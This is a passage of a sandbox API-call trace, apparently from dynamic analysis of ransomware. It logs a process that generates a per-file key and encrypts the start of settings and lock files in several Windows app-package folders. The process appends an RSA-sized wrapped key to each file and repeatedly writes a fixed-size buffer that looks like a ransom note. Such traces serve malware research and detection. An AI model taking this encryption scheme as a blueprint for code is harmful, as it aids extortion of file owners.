1 [0159.206] CloseHandle (hObject=0xf24) returned 1 [0159.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0159.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.208] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.208] ReadFile (in: hFile=0xf24, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.208] SetFilePointer (in: hFile=0xf24, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.208] WriteFile (in: hFile=0xf24, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.208] SetFilePointer (in: hFile=0xf24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.208] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.208] WriteFile (in: hFile=0xf24, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.209] WriteFile (in: hFile=0xf24, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.210] CloseHandle (hObject=0xf24) returned 1 [0159.212] WriteFile (in: hFile=0xf30, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.212] CloseHandle (hObject=0xf30) returned 1 [0159.213] WriteFile (in: hFile=0xf30, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.214] CloseHandle (hObject=0xf30) returned 1 [0159.214] WriteFile (in: hFile=0xf30, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.215] CloseHandle (hObject=0xf30) returned 1 [0159.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0159.216] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0159.216] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.216] ReadFile (in: hFile=0xf44, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.225] SetFilePointer (in: hFile=0xf44, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.225] WriteFile (in: hFile=0xf44, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.226] SetFilePointer (in: hFile=0xf44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.226] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.226] WriteFile (in: hFile=0xf44, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.226] WriteFile (in: hFile=0xf44, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.227] CloseHandle (hObject=0xf44) returned 1 [0159.242] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0159.242] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0159.242] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.242] ReadFile (in: hFile=0xf44, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.242] SetFilePointer (in: hFile=0xf44, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.242] WriteFile (in: hFile=0xf44, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.243] SetFilePointer (in: hFile=0xf44, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.243] WriteFile (in: hFile=0xf44, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.244] WriteFile (in: hFile=0xf44, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.244] CloseHandle (hObject=0xf44) returned 1 [0159.247] WriteFile (in: hFile=0xf50, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.248] CloseHandle (hObject=0xf50) returned 1 [0159.249] WriteFile (in: hFile=0xf50, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.249] CloseHandle (hObject=0xf50) returned 1 [0159.250] WriteFile (in: hFile=0xf50, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.251] CloseHandle (hObject=0xf50) returned 1 [0159.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0159.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0159.251] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.252] ReadFile (in: hFile=0xf64, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.252] SetFilePointer (in: hFile=0xf64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.252] WriteFile (in: hFile=0xf64, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.252] SetFilePointer (in: hFile=0xf64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.252] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.252] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.253] WriteFile (in: hFile=0xf64, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.254] WriteFile (in: hFile=0xf64, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.254] CloseHandle (hObject=0xf64) returned 1 [0159.256] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0159.256] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0159.256] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0159.280] ReadFile (in: hFile=0xf64, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.309] SetFilePointer (in: hFile=0xf64, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.309] WriteFile (in: hFile=0xf64, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.310] SetFilePointer (in: hFile=0xf64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.310] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.310] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.310] WriteFile (in: hFile=0xf64, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.310] WriteFile (in: hFile=0xf64, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.311] CloseHandle (hObject=0xf64) returned 1 [0159.314] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0159.314] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.314] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.344] ReadFile (in: hFile=0xf64, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.346] SetFilePointer (in: hFile=0xf64, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.346] WriteFile (in: hFile=0xf64, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.346] SetFilePointer (in: hFile=0xf64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.347] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.347] WriteFile (in: hFile=0xf64, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.347] WriteFile (in: hFile=0xf64, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.348] CloseHandle (hObject=0xf64) returned 1 [0159.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0159.349] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.349] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.350] ReadFile (in: hFile=0xf64, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.350] SetFilePointer (in: hFile=0xf64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.350] WriteFile (in: hFile=0xf64, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.350] SetFilePointer (in: hFile=0xf64, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.351] WriteFile (in: hFile=0xf64, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.352] WriteFile (in: hFile=0xf64, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.352] CloseHandle (hObject=0xf64) returned 1 [0159.355] WriteFile (in: hFile=0xf70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.357] CloseHandle (hObject=0xf70) returned 1 [0159.358] WriteFile (in: hFile=0xf70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.359] CloseHandle (hObject=0xf70) returned 1 [0159.360] WriteFile (in: hFile=0xf70, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.361] CloseHandle (hObject=0xf70) returned 1 [0159.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0159.362] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0159.362] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0159.363] ReadFile (in: hFile=0xf84, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.375] SetFilePointer (in: hFile=0xf84, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.375] WriteFile (in: hFile=0xf84, lpBuffer=0x2ec3030*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0159.376] SetFilePointer (in: hFile=0xf84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0159.376] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.376] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.376] WriteFile (in: hFile=0xf84, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.377] WriteFile (in: hFile=0xf84, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.377] CloseHandle (hObject=0xf84) returned 1 [0159.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0159.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0159.385] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.PPIProjection_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0159.386] ReadFile (in: hFile=0xf84, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.386] SetFilePointer (in: hFile=0xf84, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0159.386] WriteFile (in: hFile=0xf84, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0159.386] SetFilePointer (in: hFile=0xf84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0159.386] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0159.386] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0159.387] WriteFile (in: hFile=0xf84, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0159.388] WriteFile (in: hFile=0xf84, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0159.388] CloseHandle (hObject=0xf84) returned 1 [0159.391] WriteFile (in: hFile=0xf90, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.393] CloseHandle (hObject=0xf90) returned 1 [0159.395] WriteFile (in: hFile=0xf90, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.396] CloseHandle (hObject=0xf90) returned 1 [0159.396] WriteFile (in: hFile=0xf90, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0159.398] CloseHandle (hObject=0xf90) returned 1 [0159.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0159.402] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0159.402] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Services.Store.Engagement_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0159.403] ReadFile (in: hFile=0xfa4, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, 